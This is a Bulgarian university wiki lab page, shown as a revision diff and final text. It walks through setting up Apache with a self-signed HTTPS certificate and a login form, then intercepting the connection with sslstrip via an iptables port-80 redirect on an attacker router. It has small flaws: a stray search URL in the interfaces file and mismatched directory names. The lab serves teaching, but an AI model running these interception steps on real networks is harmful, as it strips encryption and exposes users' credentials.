Difference between revisions of "Apache SSL"
(12 intermediate revisions by the same user not shown) | |||
Line 12: | Line 12: | ||
*nano /etc/resolv.conf | *nano /etc/resolv.conf | ||
nameserver 8.8.4.4 | nameserver 8.8.4.4 | ||
+ | |||
+ | |||
Настройки на Интерфейси: | Настройки на Интерфейси: | ||
+ | nano /etc/network/interfaces | ||
<code><pre> | <code><pre> | ||
− | auto | + | auto lohttps://www.google.bg/search?q=innodb&gws_rd=cr,ssl&ei=JjAnVrkBwuhqoeSMmAs |
iface lo inet loopback | iface lo inet loopback | ||
Line 72: | Line 75: | ||
route add -net 172.16.1.0/24 gw 10.3.45.100 | route add -net 172.16.1.0/24 gw 10.3.45.100 | ||
− | == Web | + | == Web форма == |
Тестване на web сървъра през Web клиента | Тестване на web сървъра през Web клиента | ||
Line 78: | Line 81: | ||
http://172.16.1.2/index.html | http://172.16.1.2/index.html | ||
− | + | Качване на форма form.html | |
− | Качване на форма | + | *Подгответе web форма и я качете през ssh на веб сървъра |
− | Подгответе web | ||
− | |||
<code><pre> | <code><pre> | ||
<html> | <html> | ||
Line 89: | Line 90: | ||
</head> | </head> | ||
<body> | <body> | ||
− | <form action="" method="post"> | + | <form action="https://172.16.1.2/index.html" method="post"> |
<table> | <table> | ||
<tr> | <tr> | ||
Line 97: | Line 98: | ||
<tr> | <tr> | ||
<td>Password</td> | <td>Password</td> | ||
− | <td><input type="password" name="pass" value="" maxlength="100" />/td> | + | <td><input type="password" name="pass" value="" maxlength="100" /></td> |
</tr> | </tr> | ||
<tr> | <tr> | ||
Line 109: | Line 110: | ||
+ | Свързване от '''''Хост компютъра''''' към виртуалния Web сървър през ssh. | ||
+ | Отваря се терминал на хост машината и се изпълнява | ||
+ | :-$ ssh student@172.16.1.1 | ||
+ | ===Активиране на https=== | ||
+ | *Активиране на ssl модул: | ||
+ | a2enmod ssl | ||
+ | *Настройка на web директория Apache. Ще се модифицира примерната конфигурация | ||
+ | cd /etc/apache2 | ||
+ | cp sites-available/default-ssl sites-enabled/ | ||
+ | nano sites-enabled/default-ssl | ||
+ | service apache2 restart | ||
− | + | *добавете към index.html връзка към формата | |
+ | <a href=https://172.16.1.2/form.html >Forma</a> | ||
− | + | === Генериране на собствен самоподписан сертификат === | |
− | |||
− | + | *Да се създаде директория /root/keys | |
− | + | mkdir /root/keyes | |
− | Да се създаде директория | + | cd /root/keys |
− | + | ||
− | + | *Генериране на самоподписан сертификат и частен ключ | |
+ | openssl req -new -x509 -days 365 -nodes -out apache.pem -keyout apache.key | ||
− | + | Common Name (e.g. server FQDN or YOUR name) []: '''''tugab.bg''''' | |
− | + | ... | |
− | |||
− | Common Name (e.g. server FQDN or YOUR name) []: '''''tugab.bg''''' | ||
− | |||
− | |||
− | |||
− | |||
− | + | *Проверете генерираните файлове | |
− | |||
− | |||
− | |||
− | |||
− | |||
− | Редактирайте пътищата към сертификата и частния ключа | + | *Редактирайте пътищата към сертификата и частния ключа. Редактирайте файла /etc/apache2/sites-enabled/default-ssh |
<code><pre> | <code><pre> | ||
+ | ... | ||
SSLEngine on | SSLEngine on | ||
Line 153: | Line 156: | ||
SSLCertificateFile /root/keys/apache.pem | SSLCertificateFile /root/keys/apache.pem | ||
SSLCertificateKeyFile /root/keys/apache.key | SSLCertificateKeyFile /root/keys/apache.key | ||
+ | ... | ||
+ | </pre></code> | ||
− | + | *Рестатирайте apache и Тествайте връзката към '''''https://10.3.45.1XX''''' | |
+ | service apache2 restart | ||
− | + | == Атака на връзката == | |
− | |||
+ | Инсталиране sslstrip | ||
+ | apt-get install sslstrip | ||
+ | пренасочване на порт | ||
+ | iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 | ||
+ | стартиране на sslstrip | ||
+ | sslstrip -L 10000 | ||
+ | Да се тества премахването на https връзките. | ||
Latest revision as of 10:04, 22 October 2015
Конфигуриране на Apache с поддръжка на https (TLS/SSL) и атака с SSLStrip Опитна постановка: Router, Web Server, Web Client.
Contents
Мрежови настройки
Router (Attacker)
Играе ролята на рутер, токча за достъп към Интернет. Linux Debian, с два активирани интерфейса. Първият е свързан в режим Bridge Adapter, а вторият във internal.
Настройка DNS
- nano /etc/resolv.conf
nameserver 8.8.4.4
Настройки на Интерфейси: nano /etc/network/interfaces
auto lohttps://www.google.bg/search?q=innodb&gws_rd=cr,ssl&ei=JjAnVrkBwuhqoeSMmAs
iface lo inet loopback
# The primary network interface
allow-hotplug eth0
iface eth0 inet static
address 10.3.45.2XX
netmask 255.255.255.0
gateway 10.3.0.1
allow-hotplug eth1
iface eth1 inet static
address 172.16.1.1
netmask 255.255.255.0
Активиране на NAT
echo "iptables -A POSTROUTING -t nat -j MASQUERADE" >> /etc/init.d/rc.local echo "echo 1 > /proc/sys/net/ipv4/ip_forward" >> /etc/init.d/rc.local
Web сървър
- nano /etc/resolv.conf
nameserver 8.8.4.4
# The primary network interface
allow-hotplug eth0
iface eth0 inet static
address 172.16.1.2
netmask 255.255.255.0
gateway 172.16.1.1
</code>
Инсталация на web сървър
Инсталиране на софтуерни пакети telnet, openssl, apache2, ssh
apt-get update
аpt-get install apache2 openssl ssh
Проверка дали работи web сървърът.
telnet localhost 80
GET
Web client (Victim)
windows XP
- IP: 10.3.45.1XX/16
- gateway: 10.3.0.1;
- DNS: 8.8.4.4
- през cmd се добавя път към вътрешна мрежа:
route add 172.16.1.0 MASK 255.255.255.0 10.3.45.2XX
Host машина
Добавяне на път от host машината към web сървъра
route add -net 172.16.1.0/24 gw 10.3.45.100
Web форма
Тестване на web сървъра през Web клиента
- В браузъра се отваря:
http://172.16.1.2/index.html
Качване на форма form.html
- Подгответе web форма и я качете през ssh на веб сървъра
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
</head>
<body>
<form action="https://172.16.1.2/index.html" method="post">
<table>
<tr>
<td>User: </td>
<td><input type="text" name="name" value="" maxlength="100" /></td>
</tr>
<tr>
<td>Password</td>
<td><input type="password" name="pass" value="" maxlength="100" /></td>
</tr>
<tr>
<td colspan="2"><input name="submit" type="submit" value="Submit" /></td>
</tr>
</table>
</form>
</body>
</html>
Свързване от Хост компютъра към виртуалния Web сървър през ssh.
Отваря се терминал на хост машината и се изпълнява
:-$ ssh student@172.16.1.1
Активиране на https
- Активиране на ssl модул:
a2enmod ssl
- Настройка на web директория Apache. Ще се модифицира примерната конфигурация
cd /etc/apache2
cp sites-available/default-ssl sites-enabled/
nano sites-enabled/default-ssl
service apache2 restart
- добавете към index.html връзка към формата
<a href=https://172.16.1.2/form.html >Forma</a>
Генериране на собствен самоподписан сертификат
- Да се създаде директория /root/keys
mkdir /root/keyes
cd /root/keys
- Генериране на самоподписан сертификат и частен ключ
openssl req -new -x509 -days 365 -nodes -out apache.pem -keyout apache.key
Common Name (e.g. server FQDN or YOUR name) []: tugab.bg
...
- Проверете генерираните файлове
- Редактирайте пътищата към сертификата и частния ключа. Редактирайте файла /etc/apache2/sites-enabled/default-ssh
...
SSLEngine on
# A self-signed (snakeoil) certificate can be created by installing
# the ssl-cert package. See
# /usr/share/doc/apache2.2-common/README.Debian.gz for more info.
# If both key and certificate are stored in the same file, only the
# SSLCertificateFile directive is needed.
SSLCertificateFile /root/keys/apache.pem
SSLCertificateKeyFile /root/keys/apache.key
...
- Рестатирайте apache и Тествайте връзката към https://10.3.45.1XX
service apache2 restart
Атака на връзката
Инсталиране sslstrip
apt-get install sslstrip
пренасочване на порт
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
стартиране на sslstrip
sslstrip -L 10000
Да се тества премахването на https връзките.
https://wiki.debian.org/Self-Signed_Certificate
http://blog.donovan-jimenez.com/2011/03/adding-new-trusted-certificate-on.html
http://httpd.apache.org/docs/2.2/ssl/ssl_faq.html
http://www.thegeekstuff.com/2011/03/install-apache2-ssl/
http://onlamp.com/onlamp/2008/03/04/step-by-step-configuring-ssl-under-apache.html